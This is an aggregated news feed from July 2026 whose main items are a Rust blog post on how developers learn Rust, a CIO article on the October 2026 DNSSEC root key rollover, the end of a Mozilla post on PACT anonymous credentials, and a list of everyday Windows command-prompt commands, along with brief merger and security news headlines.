In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction. 
AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. 
Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.
The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.
Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.
Next Steps 
We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.
We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. 
If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need. 
Acknowledgements
The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.  


[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.


The Rust Programming Language Blog: The many journeys of learning Rust
Sat, 25 Jul 2026 08:37:24 +0200
This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.
In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.
As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust
The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO


Rust learning resources
Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant


"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits
It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)


"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab


Learning to work with the borrow checker
We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher
Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs


"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer


Learning by doing
Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust


"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider


Letting go of "clone guilt"
Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.
We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to
The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM


"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries


"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO


Teaching Rust in academia
We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.
What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs
Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate


"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners
We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)


"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider


"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company


Silent attrition
We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider


Feedback on near-bounces from survey
We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.
One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.
Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion
The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions
Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.
That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying
Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.
Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.
Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.
Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.
How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.
Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know
The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.
We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.
The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.


40 Windows Commands you NEED to know (in 10 Minutes)
Sat, 25 Jul 2026 08:36:52 +0200
Author: NetworkChuck - Bewertung: 180418x - Views:4300547 
Keep your computer safe with BitDefender: https://bit.ly/BitdefenderNC  (59% discount on a 1 year subscription)





Here are the top 40 Windows Command Prompt commands you need to know!! From using ipconfig to check your IP Address to using the shutdown command to automatically boot to bios, these commands are essential for any Windows user. Also, is your computer running slow? We show a series of commands that will speed up your computer without having to reinstall Windows. All of these commands should work on Windows 10 and Windows 11 and all you need to do is launch your windows command prompt (cmd). 









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0:00   ⏩  Intro

0:15   ⏩  Launch Windows Command Prompt

0:18   ⏩  ipconfig

0:25   ⏩  ipconfig /all

0:33   ⏩  findstr

0:49   ⏩  ipconfig /release

0:56   ⏩  ipconfig /renew

1:15   ⏩  ipconfig /displaydns

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1:29   ⏩  clip

1:47   ⏩  ipconfig /flushdns

2:09   ⏩  nslookup

2:41   ⏩  cls

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4:45   ⏩  DISM /Online /Cleanup /ScanHealth

4:51   ⏩  DISM /Online /Cleanup /RestoreHealth

5:24   ⏩  tasklist

5:38   ⏩  taskkill

5:59   ⏩  netsh wlan show wlanreport

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6:27   ⏩  netsh interface ip show address | findstr “IP Address”

6:30   ⏩  netsh interface ip show dnsservers

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8:19   ⏩  ping

8:30   ⏩  ping -t

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9:12   ⏩  netstat -af

9:28  ⏩  netstat -o

9:38  ⏩  netstat -e -t 5

9:47   ⏩  route print

9:58   ⏩  route add

10:13 ⏩  route delete

10:21 ⏩  shutdown /r /fw /f /t 0





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CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Sat, 25 Jul 2026 06:16:22 +0200

		
					  
						




Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.



Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.



“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 



The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 



“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”



Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 



“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”



Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”



The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 



The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”



Expect nearly every enterprise to be impacted



Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 



But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 



“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”



As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”



Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”



Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 



“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”



Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.



“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”



“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”



It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 



“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”



Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 



Potentially widespread fallout



A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 



“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”



Greis adds that many enterprises will discover in January problems created by their own automation.



“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”



The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.



Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.



“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”



Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 



Impossible to predict what will happen



One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.



Huston says it is difficult to project what will happen in January until it happens.



“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.



As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 



“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”



As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 



“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”



Paramount Agrees to Postpone Warner Bros. Merger Until June 2027
Sat, 25 Jul 2026 01:07:31 +0200
Paramount Skydance has agreed to postpone its $111 billion Warner Bros. Discovery merger until five days after an antitrust trial or June 1, 2027, whichever comes first. The agreement with a 12-state coalition led by California effectively shelves the deal for months while states argue it would reduce competition in cable and theatrical markets. Variety reports: Paramount had been keen to close the deal before Sept. 30, when it will begin to incur a $7-million-a-day "ticking fee" to be paid to Warner Bros. investors. The agreement is a tacit acknowledgement that that will not happen, barring a settlement with the states. Paramount previously sought a three-day hearing on the injunction motion in late August, hoping to win the judge's blessing to close the deal sometime in early September. But the states resisted that idea, saying they would need more time to take discovery and prepare for a full trial on the merits. The states were due to file their injunction motion on Thursday night, but held off as the two sides held discussions on a path forward. In a statement, the company said the agreement is a "significant win."
 
"Today's agreement is a significant win because the result is exactly what we have sought from the outset: a direct path to a trial based on the evidence," a Paramount spokesperson said. "This is the fastest and clearest way to prove that this transaction is good for competition, good for consumers, and good for creators, a conclusion dozens of competition authorities around the world have already reached. Plaintiffs' market definitions bear no relationship to the realities of today's marketplace and cannot withstand scrutiny. We look forward to proving our case at trial."
 
A hearing was scheduled for Aug. 3 in federal court in Oakland, at which point the two sides were expected to argue over the injunction motion. The two sides agreed to cancel that hearing. U.S. District Judge Araceli Martinez-Olguin approved the joint stipulation on Friday afternoon, about an hour after it was entered. The Writers Guild of America filed its own motion for an injunction earlier this week, which was also set to be heard on Aug. 3. That motion has been withdrawn, as Paramount has effectively conceded that it will not close the deal until a determination of the merits of the antitrust claims. The parties also agreed to submit a joint stipulation by July 31 on their respective positions on trial scheduling. The states previously proposed to hold the trial in April 2027.






Read more of this story at Slashdot.


Colorado Names First Principal Director of AI Architecture
Sat, 25 Jul 2026 00:03:49 +0200
Jane Yang has joined the state Office of Information Technology in the newly created role. She was previously chief AI officer for the U.S. Administration for Children and Families.


Laundry Bear gets the spin cycle.
Fri, 24 Jul 2026 22:38:09 +0200
Laundry Bear snuffles through unpatched Zimbra Collaboration servers. The State Department puts visa restrictions on cybercriminals. Oracle drops a record 1,449 security patches. Researchers disclose a critical vulnerability in OpenAI’s ChatGPT Workspace Agents. A new benchmark evaluates frontier AI model malware reverse engineering. LunchPoke uses the Notepad++ application to establish persistence. A Swiss rail manufacturer refuses to pay the ransom. Dave Bittner sits down with Maria Varmazis, host of T-Minus Space Cyber Briefing, to discuss the show's evolution into CyberWire's weekly space cyber briefing. The AI goes to space.


New CISA/NSA Advisory Spotlights Russian Attacks on Zimbra Webmail
Fri, 24 Jul 2026 20:44:07 +0200
Overview of the Advisory On July 23, 2026, CISA, the NSA, the FBI, and their international partners issued a joint cybersecurity advisory alerting organizations to ongoing Russian state-sponsored activity. The… The post New CISA/NSA Advisory Spotlights Russian Attacks on Zimbra…
Read more →
The post New CISA/NSA Advisory Spotlights Russian Attacks on Zimbra Webmail appeared first on IT Security News.


New CISA/NSA Advisory Spotlights Russian Attacks on Zimbra Webmail
Fri, 24 Jul 2026 20:18:18 +0200
Overview of the Advisory On July 23, 2026, CISA, the NSA, the FBI, and their international partners issued a joint cybersecurity advisory alerting organizations to ongoing Russian state-sponsored activity. The...
